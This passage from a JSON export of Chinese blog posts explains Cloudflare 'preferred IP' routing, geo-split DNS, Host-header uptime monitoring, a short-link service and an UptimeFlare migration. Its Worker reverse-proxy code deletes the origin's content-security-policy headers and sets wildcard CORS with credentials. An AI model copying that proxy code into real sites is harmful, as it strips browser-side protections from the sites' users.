src=\"/posts/fenliu/img/fenliu-9.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e分流的原理是DNS看查询的源IP，如果是国内则返回国内节点，海外则返回海外。也就是说你的出口IP决定访问的节点，若你开梯子（如美国），就算你在国内，访问到的也是海外节点\u003c/li\u003e\n\u003cli\u003eDCV委派只能写一条，如果你的NS在EO，可以写DCV给ESA，而Cloudflare使用HTTP验证，这一切都将是一劳永逸，全自动化的\u003c/li\u003e\n\u003cli\u003eCloudflare SaaS 在接入外部域名时，非常建议选择 HTTP验证来签发SSL，下文会详细说明该验证模式的好处。我们都知道，Cloudflare SaaS 在创建的时候，对于申请SSL默认选项是 TXT验证，但是该方式并不好，我们都知道，使用TXT验证的确可以签发证书，但在3月后（上一个SSL证书过期后），我们需要及时更新TXT记录来重新申领新的SSL证书，但是HTTP验证就不是这样了，Cloudflare CDN会自动在边缘节点放上HTTP验证的文件，并且Cloudflare可以随时更改，这样，你就不需要在申领新SSL的时候做任何事情了，一切都由Cloudflare自动实现\u003c/li\u003e\n\u003cli\u003eCloudflare SaaS接入外部域名后，对于该外部域名是可以享有所有Cloudflare单域名下服务（也包括Cloudflare Worker，参见： \u003ca href=\"/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-workers/\"\u003eCloudflare Worker 优选\u003c/a\u003e）。也可以配置规则等业务，你最终访问的是哪个域名就写哪个主机名，不要写回退源的主机名，除非你想让该规则仅在直接访问回退源时生效\n\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-11.webp\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/fenliu/img/fenliu-10.webp\"\u003e\u003c/p\u003e","title":"网站分流怎么做？全球秒开！有点坐牢，但是好玩！"},{"content":"相关视频： 全解： https://www.bilibili.com/video/BV1QpSoBqERj SaaS原理：https://www.bilibili.com/video/BV1A5rpBqENh/ Worker/Pages优选：https://www.bilibili.com/video/BV1KNmtB6EU7/ R2优选：https://www.bilibili.com/video/BV115KLzSEiv/ Tunnel优选：https://www.bilibili.com/video/BV1WGMAznEBd/ 自建优选：https://www.bilibili.com/video/BV1H38vzoEcq/https://www.bilibili.com/video/BV1zpgBz7EHK/ [!tip] 所有优选一个域名即可，无需两个域名。如： s.2x.nz 和 s-s.2x.nz 即可完成优选\n未优选 已优选 什么是优选？ 简单来说，优选就是选择一个国内访问速度更快的Cloudflare节点。\nCloudflare官方分配给我们的IP，在国内访问时延迟往往较高，甚至可能出现无法访问的情况。而通过优选，我们可以手动将域名解析到那些国内访问更快的Cloudflare IP，从而显著提升网站的访问速度和可用性。\n从上面的对比图可以看到，优选过的网站响应速度有很大提升，出口IP也变多了。这能让你的网站可用性大大提高，并且加载速度显著变快。\n要实现优选，我们需要做到两点：自己控制路由规则 和 自己控制DNS解析。通过Cloudflare SaaS或Worker路由，我们可以同时实现这两点，下面会详细讲解。\n优选原理 首先我们要知道CDN是如何通过不同域名给不同内容的。\n我们可以将其抽象为2层：规则层和解析层。当我们普通的在Cloudflare添加一条开启了小黄云的解析，Cloudflare会为我们做两件事：\n帮我们写一条DNS解析指向Cloudflare 在Cloudflare创建一条路由规则 如果你想要优选，实际上你是要手动更改这个DNS解析，使其指向一个更快的Cloudflare节点。\n但是，一旦你将小黄云关闭，路由规则也会被删除，再访问就会显示DNS直接指向IP——这就没法用了。\n而SaaS和Worker路由的出现改变了这一切。\n使用SaaS后，Cloudflare不再帮你做这两件事了，这两件事你都可以自己做了：\n你可以自己写一条SaaS规则（规则层） 你可以自己写一条CNAME解析到优选节点（解析层） 使用Worker路由同理，你创建Worker路由规则后，DNS解析就可以随便指向任何优选节点了。\n这就是为什么经由SaaS或Worker路由的流量可以做优选的原因。\n选择优选域名 优选的核心就是选择一个国内访问速度更快的Cloudflare节点IP或域名。\n传统优选域名 常用的社区优选域名：https://cf.090227.xyz\n这些优选域名通常是通过扫描Cloudflare官方IP段，找出国内延迟最低的IP整理而成。\nCloudflare Byoip 优选 还在用传统优选？来看看Cloudflare Byoip！\n什么是Byoip？ Cloudflare Byoip（Bring Your Own IP），即如果用户自己拥有一个IP、IP段，可以将其托管给Cloudflare，并使其受益于Cloudflare全球网络的加速与安全。\n人话讲就是，有一些IP不直接隶属于Cloudflare，但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast，但是国内延迟可能会明显优于Cloudflare的官方IP段。\n如何找到Cloudflare Byoip？ 可以前往 AS209242 Cloudflare London, LLC details | Ipregistry\n尝试使用ITDog强制绑定IP访问你的Cloudflare服务，不返回403即可。\n我这里返回404是正常的，因为 r2.afo.im 直接连接到Cloudflare R2对象存储，直接访问就是404\n注意事项 有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向，别让你的网站成为他人的引流站。\n可以长久使用吗？ 这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机。\n各类优选方案 Worker项目优选（最简单） 如果你需要优选 Page/Worker项目：\n首先，如果你是Page，将项目转为Worker，具体AI一下即可。\n接下来编写Worker路由，直接填写 你的域名+ /*\n最后写一条DNS解析到想要的优选域名，完事！\n不需要折腾SaaS，不需要多域名，就是这么简单！\nWorker路由反代全球并优选（进阶） 本方法的原理为通过Worker反代你的源站，然后将Worker的入口节点进行优选。此方法不是传统的优选，源站接收到的Hosts头仍然是直接指向源站的解析\n创建一个Cloudflare Worker，写入代码：\n// 域名前缀映射配置 const domain_mappings = { \u0026#39;源站.com\u0026#39;: \u0026#39;最终访问头.\u0026#39;, //例如： //\u0026#39;gitea.072103.xyz\u0026#39;: \u0026#39;gitea.\u0026#39;, //则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz }; addEventListener(\u0026#39;fetch\u0026#39;, event =\u0026gt; { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const url = new URL(request.url); const current_host = url.host; // 强制使用 HTTPS if (url.protocol === \u0026#39;http:\u0026#39;) { url.protocol = \u0026#39;https:\u0026#39;; return Response.redirect(url.href, 301); } const host_prefix = getProxyPrefix(current_host); if (!host_prefix) { return new Response(\u0026#39;Proxy prefix not matched\u0026#39;, { status: 404 }); } // 查找对应目标域名 let target_host = null; for (const [origin_domain, prefix] of Object.entries(domain_mappings)) { if (host_prefix === prefix) { target_host = origin_domain; break; } } if (!target_host) { return new Response(\u0026#39;No matching target host for prefix\u0026#39;, { status: 404 }); } // 构造目标 URL const new_url = new URL(request.url); new_url.protocol = \u0026#39;https:\u0026#39;; new_url.host = target_host; // 创建新请求 const new_headers = new Headers(request.headers); new_headers.set(\u0026#39;Host\u0026#39;, target_host); new_headers.set(\u0026#39;Referer\u0026#39;, new_url.href); try { const response = await fetch(new_url.href, { method: request.method, headers: new_headers, body: request.method !== \u0026#39;GET\u0026#39; \u0026amp;\u0026amp; request.method !== \u0026#39;HEAD\u0026#39; ? request.body : undefined, redirect: \u0026#39;manual\u0026#39; }); // 复制响应头并添加CORS const response_headers = new Headers(response.headers); response_headers.set(\u0026#39;access-control-allow-origin\u0026#39;, \u0026#39;*\u0026#39;); response_headers.set(\u0026#39;access-control-allow-credentials\u0026#39;, \u0026#39;true\u0026#39;); response_headers.set(\u0026#39;cache-control\u0026#39;, \u0026#39;public, max-age=600\u0026#39;); response_headers.delete(\u0026#39;content-security-policy\u0026#39;); response_headers.delete(\u0026#39;content-security-policy-report-only\u0026#39;); return new Response(response.body, { status: response.status, statusText: response.statusText, headers: response_headers }); } catch (err) { return new Response(`Proxy Error: ${err.message}`, { status: 502 }); } } function getProxyPrefix(hostname) { for (const prefix of Object.values(domain_mappings)) { if (hostname.startsWith(prefix)) { return prefix; } } return null; } 创建路由：\n类似这样填写：\n最后写一条DNS解析 CNAME gitea.afo.im --\u0026gt; 优选域名 即可\nCloudflare R2 优选 首先，你先得有个R2实例\n接着，你需要绑定一个自定义域\n接着，前往你的域名 - 规则 - Cloud Connector\n最后写一条解析指向优选域名 fast-r2.2x.nz CNAME cf.090227.xyz\n传统SaaS优选 SaaS做了什么？ Cloudflare SaaS是一个不需要你改变一个域名的NS服务器，就可以让其受益于Cloudflare网络的功能。\n当一个域名被SaaS到一个已经在Cloudflare的域名后，它就完整受益所有Cloudflare服务。如我将 umami.acofork.com SaaS 到 2x.nz，我就可以在 2x.nz 里为 umami.acofork.com 写规则了：\nWorker中的路由规则也适用：\nSaaS优选步骤 简单易懂（pro.yourdomain.com 是最终访问域名）： CF SaaS DNS origin.yourdomain.com -\u0026gt; 源站开小黄云 cdn.yourdomain.com -\u0026gt; cf优选域名 pro.yourdomain.com -\u0026gt; cdn.yourdomain.com\nCF SaaS 添加自定义主机名pro.yourdomain.com 源站为origin.yourdomain.com\n[!WARNING] Cloudflare最近将新接入的域名SSL默认设为了完全，记得将 SSL 改为灵活。 准备工作 我们需要一个域名或两个域名（单域名直接用子域名即可。双域名比如：onani.cn和acofork.cn）。\n如果在同一CF账号下不可用，请尝试将俩域名放置在不同账号\n这里我们让onani.cn成为主力域名，让acofork.cn成为辅助域名。\n单域名效果：\n具体步骤 首先新建一个DNS解析，指向你的源站，开启cf代理 前往辅助域名的 SSL/TLS -\u0026gt; 自定义主机名。设置回退源为你刚才的DNS解析的域名：xlog.acofork.cn（推荐 HTTP 验证）\n点击添加自定义主机名。设置一个自定义主机名，比如 onani.cn，然后选择自定义源服务器，填写第一步的域名，即 xlog.acofork.cn。\n如果你想要创建多个优选也就这样添加，一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认，则源服务器是回退源指定的服务器，即 xlog.acofork.cn\n继续在你的辅助域名添加一条解析。CNAME到优选节点：如cloudflare.182682.xyz，不开启cf代理 最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名（onani.cn），目标为刚才的cdn.acofork.cn，不开启cf代理 优选完毕，确保优选有效后尝试访问 （可选）你也可以将cdn子域的NS服务器更改为阿里云\\华为云\\腾讯云云解析做线路分流解析\n优选工作流：用户访问 -\u0026gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带 源主机名：onani.cn -\u0026gt; 到达优选域名进行优选 -\u0026gt; 优选结束，cf边缘节点识别到了携带的 源主机名：onani.cn 查询发现了回退源 -\u0026gt; 回退到回退源内容（xlog.acofork.cn） -\u0026gt; 访问成功\n针对于Cloudflare Page 你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\\华为云\\腾讯云云解析做线路分流解析\n将您的Page项目升级为Worker项目，使用Worker优选方案（更简单）。详细方法见：【CF Page一键迁移到Worker？好处都有啥？-哔哩哔哩】 https://www.bilibili.com/video/BV1wBTEzREcb\n针对于Cloudflare Workers 在Workers中添加路由，然后直接将你的路由域名从指向xxx.worker.dev改为优选域名即可\n如果是外域，SaaS后再添加路由即可，就像： 针对于Cloudflare Tunnel（ZeroTrust） 请先参照 传统SaaS优选 设置完毕，源站即为 Cloudflare Tunnel。正常做完SaaS接入即可：\n接下来我们需要让 最终访问的域名 打到 Cloudflare Tunnel 的流量正确路由，否则访问时主机名不在Tunnel中，会触发 catch: all 规则，总之就是没法访问。再创建一个Tunnel规则，域名为 你最终访问的域名 ，源站指定和刚才的一致即可。\n最后写一条 umami.2x.nz CNAME 你自己的优选域名 的DNS记录即可\n针对于使用了各种CF规则的网站 你只需要让规则针对于你的 最终访问域名 ，因为CF的规则是看主机名的，而不是看是由谁提供的。\n针对于虚拟主机 保险起见，建议将源站和优选域名同时绑定到你的虚拟主机，保证能通再一个个删。\n","permalink":"https://blog.2x.nz/posts/cf-fastip/","summary":"\u003ch1 id=\"相关视频\"\u003e相关视频：\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e全解\u003c/strong\u003e： \u003ca href=\"https://www.bilibili.com/video/BV1QpSoBqERj\"\u003ehttps://www.bilibili.com/video/BV1QpSoBqERj\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003eSaaS原理：https://www.bilibili.com/video/BV1A5rpBqENh/\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003eWorker/Pages优选：https://www.bilibili.com/video/BV1KNmtB6EU7/\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003eR2优选：https://www.bilibili.com/video/BV115KLzSEiv/\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003eTunnel优选：https://www.bilibili.com/video/BV1WGMAznEBd/\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003e自建优选：https://www.bilibili.com/video/BV1H38vzoEcq/https://www.bilibili.com/video/BV1zpgBz7EHK/\u003c/del\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!tip]\n所有优选一个域名即可，无需两个域名。如： \u003ccode\u003es.2x.nz\u003c/code\u003e 和 \u003ccode\u003es-s.2x.nz\u003c/code\u003e 即可完成优选\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch4 id=\"未优选\"\u003e未优选\u003c/h4\u003e\n\u003cp\u003e\u003cimg alt=\"QmZoinxZgAzu7Skh7BqsxmDQGU1sXtLLskJcyQuRAQNKww.webp\" loading=\"lazy\" src=\"/posts/cf-fastip/img/098f9ee71ae62603022e542878673e19bdcaf196.webp\"\u003e\u003c/p\u003e\n\u003ch4 id=\"已优选\"\u003e已优选\u003c/h4\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cf-fastip/img/cf-fastip-11.webp\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"什么是优选\"\u003e什么是优选？\u003c/h1\u003e\n\u003cp\u003e简单来说，\u003cstrong\u003e优选就是选择一个国内访问速度更快的Cloudflare节点\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003eCloudflare官方分配给我们的IP，在国内访问时延迟往往较高，甚至可能出现无法访问的情况。而通过优选，我们可以手动将域名解析到那些国内访问更快的Cloudflare IP，从而显著提升网站的访问速度和可用性。\u003c/p\u003e\n\u003cp\u003e从上面的对比图可以看到，优选过的网站响应速度有很大提升，出口IP也变多了。这能让你的网站可用性大大提高，并且加载速度显著变快。\u003c/p\u003e\n\u003cp\u003e要实现优选，我们需要做到两点：\u003cstrong\u003e自己控制路由规则\u003c/strong\u003e 和 \u003cstrong\u003e自己控制DNS解析\u003c/strong\u003e。通过Cloudflare SaaS或Worker路由，我们可以同时实现这两点，下面会详细讲解。\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"优选原理\"\u003e优选原理\u003c/h1\u003e\n\u003cp\u003e首先我们要知道CDN是如何通过不同域名给不同内容的。\u003c/p\u003e\n\u003cp\u003e我们可以将其抽象为2层：\u003cstrong\u003e规则层\u003c/strong\u003e和\u003cstrong\u003e解析层\u003c/strong\u003e。当我们普通的在Cloudflare添加一条开启了小黄云的解析，Cloudflare会为我们做两件事：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e帮我们写一条DNS解析指向Cloudflare\u003c/li\u003e\n\u003cli\u003e在Cloudflare创建一条路由规则\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e如果你想要优选，实际上你是要手动更改这个DNS解析，使其指向一个更快的Cloudflare节点。\u003c/p\u003e\n\u003cp\u003e但是，一旦你将小黄云关闭，路由规则也会被删除，再访问就会显示DNS直接指向IP——这就没法用了。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e而SaaS和Worker路由的出现改变了这一切。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e使用SaaS后，Cloudflare不再帮你做这两件事了，这两件事你都可以自己做了：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e你可以自己写一条SaaS规则（规则层）\u003c/li\u003e\n\u003cli\u003e你可以自己写一条CNAME解析到优选节点（解析层）\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e使用Worker路由同理，你创建Worker路由规则后，DNS解析就可以随便指向任何优选节点了。\u003c/p\u003e\n\u003cp\u003e这就是为什么经由SaaS或Worker路由的流量可以做优选的原因。\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"选择优选域名\"\u003e选择优选域名\u003c/h1\u003e\n\u003cp\u003e优选的核心就是选择一个国内访问速度更快的Cloudflare节点IP或域名。\u003c/p\u003e\n\u003ch2 id=\"传统优选域名\"\u003e传统优选域名\u003c/h2\u003e\n\u003cp\u003e常用的社区优选域名：https://cf.090227.xyz\u003c/p\u003e\n\u003cp\u003e这些优选域名通常是通过扫描Cloudflare官方IP段，找出国内延迟最低的IP整理而成。\u003c/p\u003e\n\u003ch2 id=\"cloudflare-byoip-优选\"\u003eCloudflare Byoip 优选\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e还在用传统优选？来看看Cloudflare Byoip！\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch3 id=\"什么是byoip\"\u003e什么是Byoip？\u003c/h3\u003e\n\u003cp\u003eCloudflare Byoip（Bring Your Own IP），即如果用户自己拥有一个IP、IP段，可以将其托管给Cloudflare，并使其受益于Cloudflare全球网络的加速与安全。\u003c/p\u003e\n\u003cp\u003e人话讲就是，有一些IP不直接隶属于Cloudflare，但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast，但是国内延迟可能会明显优于Cloudflare的官方IP段。\u003c/p\u003e\n\u003ch3 id=\"如何找到cloudflare-byoip\"\u003e如何找到Cloudflare Byoip？\u003c/h3\u003e\n\u003cp\u003e可以前往 \u003ca href=\"https://ipregistry.co/AS209242#ranges\"\u003eAS209242 Cloudflare London, LLC details | Ipregistry\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e尝试使用ITDog强制绑定IP访问你的Cloudflare服务，不返回403即可。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我这里返回404是正常的，因为 r2.afo.im 直接连接到Cloudflare R2对象存储，直接访问就是404\u003c/p\u003e","title":"试试Cloudflare IP优选！让Cloudflare在国内再也不是减速器！"},{"content":" [!warning] 由于被DDOS，已经不再做分流监控，故本文诸多链接失效\n正式开始 视频： https://www.bilibili.com/video/BV14dqwBVEa5/\n比如说我的博客 https://blog.acofork.com\n它在国外的节点是 Cloudflare Page ，而在国内的节点是 阿里云 ESA Pages/EdgeOne Pages\n我使用的方案是在国内自托管一个 Uptime Kuma 服务，而在海外使用一些大厂的云监控，如 BetterStack UptimeRobot 等等，并且让他们互相监控\n对于大厂的监控，我们不必做防护，但对于你自托管的监控，推荐套 Cloudflare Tunnel ，防止被DDoS\n国内监控： https://kuma.2x.nz\n海外监控： https://vps.2x.nz\n进阶：利用自定义HTTP请求头Host字段实现单节点分流域名的监控 如果你有个分流域名，正常来说我们需要两个监测源模拟国内和海外用户访问，但真的需要这么麻烦吗\u0026hellip;\n原理 CDN上托管了那么多的网站，那它是如何识别每个用户需要访问哪个网站的呢？\n针对 HTTPS ，CDN 会检查SSL握手报文中的 Server_Name 字段。而针对 HTTP ，CDN 会检查请求头中的 Host 字段\n也就是说，对于海外CDN是否存活，我们可以通过直接访问CDN节点，如： http://blog.acofork.com.a1.initww.com 并携带上 Host 头指定为 blog.acofork.com ，从而强制指定节点访问业务网站，不走分流\n那么如果CDN开启了强制HTTPS呢？那就关掉\n常用CDN节点 Cloudflare：你自己的优选域名，如 http://cdn.2x.nz Github： http://pages.github.com 配置方法 部署一个Uptime Kuma（或者其他服务，监测源必须在国内。因为EO，ESA我们要做拦截海外策略）\n如图写监测项目，直接使用HTTP协议监测CDN节点，并且携带Host头，将重定向设为0，只要返回 200 就算存活（为了减轻站点压力，建议使用HEAD请求）\nDemo https://status.acofork.com\n","permalink":"https://blog.2x.nz/posts/double-monitior/","summary":"\u003cblockquote\u003e\n\u003cp\u003e[!warning]\n由于被DDOS，已经不再做分流监控，故本文诸多链接失效\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e视频： \u003ca href=\"https://www.bilibili.com/video/BV14dqwBVEa5/\"\u003ehttps://www.bilibili.com/video/BV14dqwBVEa5/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e比如说我的博客\n\u003ca href=\"https://blog.acofork.com\"\u003ehttps://blog.acofork.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e它在国外的节点是 \u003cstrong\u003eCloudflare Page\u003c/strong\u003e ，而在国内的节点是 \u003cstrong\u003e阿里云 ESA Pages/EdgeOne Pages\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我使用的方案是在国内自托管一个 \u003cstrong\u003eUptime Kuma\u003c/strong\u003e 服务，而在海外使用一些大厂的云监控，如 \u003cstrong\u003eBetterStack\u003c/strong\u003e \u003cstrong\u003eUptimeRobot\u003c/strong\u003e 等等，并且让他们互相监控\u003c/p\u003e\n\u003cp\u003e对于大厂的监控，我们不必做防护，但对于你自托管的监控，推荐套 \u003cstrong\u003eCloudflare Tunnel\u003c/strong\u003e ，防止被DDoS\u003c/p\u003e\n\u003cp\u003e国内监控：\n\u003ca href=\"https://kuma.2x.nz\"\u003ehttps://kuma.2x.nz\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e海外监控：\n\u003ca href=\"https://vps.2x.nz\"\u003ehttps://vps.2x.nz\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"进阶利用自定义http请求头host字段实现单节点分流域名的监控\"\u003e进阶：利用自定义HTTP请求头Host字段实现单节点分流域名的监控\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果你有个分流域名，正常来说我们需要两个监测源模拟国内和海外用户访问，但真的需要这么麻烦吗\u0026hellip;\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"原理\"\u003e原理\u003c/h2\u003e\n\u003cp\u003eCDN上托管了那么多的网站，那它是如何识别每个用户需要访问哪个网站的呢？\u003c/p\u003e\n\u003cp\u003e针对 HTTPS ，CDN 会检查SSL握手报文中的 \u003ccode\u003eServer_Name\u003c/code\u003e 字段。而针对 HTTP ，CDN 会检查请求头中的 \u003ccode\u003eHost\u003c/code\u003e 字段\u003c/p\u003e\n\u003cp\u003e也就是说，对于海外CDN是否存活，我们可以通过直接访问CDN节点，如： \u003ccode\u003ehttp://blog.acofork.com.a1.initww.com\u003c/code\u003e 并携带上 \u003ccode\u003eHost\u003c/code\u003e 头指定为 \u003ccode\u003eblog.acofork.com\u003c/code\u003e ，从而强制指定节点访问业务网站，不走分流\u003c/p\u003e\n\u003cp\u003e那么如果CDN开启了强制HTTPS呢？那就关掉\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/double-monitior/img/http-header-host-3.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"常用cdn节点\"\u003e常用CDN节点\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCloudflare：你自己的优选域名，如 \u003cstrong\u003e\u003ca href=\"http://cdn.2x.nz\"\u003ehttp://cdn.2x.nz\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eGithub： \u003cstrong\u003e\u003ca href=\"http://pages.github.com\"\u003ehttp://pages.github.com\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"配置方法\"\u003e配置方法\u003c/h2\u003e\n\u003cp\u003e部署一个Uptime Kuma（或者其他服务，监测源必须在国内。因为EO，ESA我们要做拦截海外策略）\u003c/p\u003e\n\u003cp\u003e如图写监测项目，直接使用HTTP协议监测CDN节点，并且携带Host头，将重定向设为0，只要返回 200 就算存活（为了减轻站点压力，建议使用HEAD请求）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/double-monitior/img/http-header-host-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/double-monitior/img/http-header-host-2.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"demo\"\u003eDemo\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://status.acofork.com\"\u003ehttps://status.acofork.com\u003c/a\u003e\u003c/p\u003e","title":"你有一个全球网站？如何做好监控？"},{"content":"视频 https://www.bilibili.com/video/BV1BCi1B7E1q/\nDemo https://2x.nz/s\n拿域名！ 我们需要一个短域名，来作为我们的短链服务的入口\n我们可以前往这些地方购买短域名，建议后缀 .nz .mk .im ，建议2-3位长度的域名\n迈向未来 - Spaceship porkbun.com | An oddly satisfying experience. 【趣域网】域名注册网站哪个好_注册域名查询购买_whois信息查询_域名交易网_ - 趣域网 基础思路 Cloudflare Page/Worker的重定向文件提供了基于文件的重定向功能，参考 这篇文章\n接下来我们再利用 Cloudflare Worker 连接Github帮我们去更新这个文件，顺便搓一个前端出来让用户能够生成短链即可\n防护措施 [!CAUTION] 必须在最终重定向时不直接重定向到业务域名，需要配置中间页，否则你的域名一定会在后期被举报为 滥用/钓鱼/诈骗网站\n重定向文件限制静态重定向 2000 ，动态重定向 100 单行字符串不超过 1024 服务架构图 ","permalink":"https://blog.2x.nz/posts/shorter-url/","summary":"\u003ch1 id=\"视频\"\u003e视频\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1BCi1B7E1q/\"\u003ehttps://www.bilibili.com/video/BV1BCi1B7E1q/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"demo\"\u003eDemo\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://2x.nz/s\"\u003ehttps://2x.nz/s\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"拿域名\"\u003e拿域名！\u003c/h1\u003e\n\u003cp\u003e我们需要一个短域名，来作为我们的短链服务的入口\u003c/p\u003e\n\u003cp\u003e我们可以前往这些地方购买短域名，建议后缀 \u003ccode\u003e.nz\u003c/code\u003e \u003ccode\u003e.mk\u003c/code\u003e \u003ccode\u003e.im\u003c/code\u003e ，建议2-3位长度的域名\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.spaceship.com/zh/\"\u003e迈向未来 - Spaceship\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://porkbun.com/\"\u003eporkbun.com | An oddly satisfying experience.\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.quyu.net/\"\u003e【趣域网】域名注册网站哪个好_注册域名查询购买_whois信息查询_域名交易网_ - 趣域网\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"基础思路\"\u003e基础思路\u003c/h1\u003e\n\u003cp\u003eCloudflare Page/Worker的重定向文件提供了基于文件的重定向功能，参考 \u003ca href=\"/posts/cfpage-redirect/\"\u003e这篇文章\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们再利用 Cloudflare Worker 连接Github帮我们去更新这个文件，顺便搓一个前端出来让用户能够生成短链即可\u003c/p\u003e\n\u003ch1 id=\"防护措施\"\u003e防护措施\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!CAUTION]\n必须在最终重定向时不直接重定向到业务域名，需要配置中间页，否则你的域名一定会在后期被举报为 \u003cstrong\u003e滥用/钓鱼/诈骗网站\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e重定向文件限制静态重定向 \u003cstrong\u003e2000\u003c/strong\u003e ，动态重定向 \u003cstrong\u003e100\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e单行字符串不超过 \u003cstrong\u003e1024\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"服务架构图\"\u003e服务架构图\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/shorter-url/img/MermaidChart-Createcomplexvisualdiagramswithtext-2026-01-09-031619.webp\"\u003e\u003c/p\u003e","title":"无需服务器！从零教你自建一个短链服务！"},{"content":"从KV迁移 由于原项目于26/1/3将数据存储从KV迁移到了D1，并且配备了完备的i18n，如果你仍在运营旧版的UptimeFlare，建议升级，下面是迁移教程\n首先，将你之前配置的Cloudflare API令牌添加一个新的权限 编辑D1\n然后备份根目录的 uptime.config.ts ，直接 把原仓库删了（但是不要删KV，Worker，Page），Fork我的仓库\nafoim/UptimeFlare\n接下来编辑新的 uptime.config.ts\n参阅 UptimeFlare/uptime.config.ts at main · afoim/UptimeFlare 主要就是将自定义callback迁移到官方的WebHook方法\n编辑后推送，会自动触发Github Action的自动部署，它会自动将KV内的数据迁移到D1\n这迁移到D1何意味 前言 本来这个教程应该是永远都不会出的，因为在此之前，我曾经给大家介绍了一个无需自托管的监控服务：UptimeRobot\n但是，就在最近我再次查看控制台，发现之前创建的监控全部都没了，咱也不知道是被官方删了还是号被黑客大手子肘击了，总之，我现在不得不要重建监控服务了\n原理 首先，UptimeFlare是一个基于Cloudflare Worker+D1的监控服务\n它的原理非常简单，一共由三个部分组成\n前端：放在Cloudflare Page，用于给用户展示zhandianzhuangt 后端：放在Cloudflare Worker，通过 Worker 自带的 Cron 每分钟 检查站点状态，并将状态持久化进 D1 正式开始 首先我们需要 Fork 项目，建议Fork我的项目（由于原项目不知道为什么不给在某些地方注入环境变量，所以建议Fork我的）\nafoim/UptimeFlare\n首先，我们先尝试将其部署到Cloudflare\n创建一个Cloudflare API Token 编辑Workers 和 D1\n接下来将该Token绑定到你的Github仓库 最后，来到 Action 页面，手动创建一个 Deploy to Cloudflare 的工作流 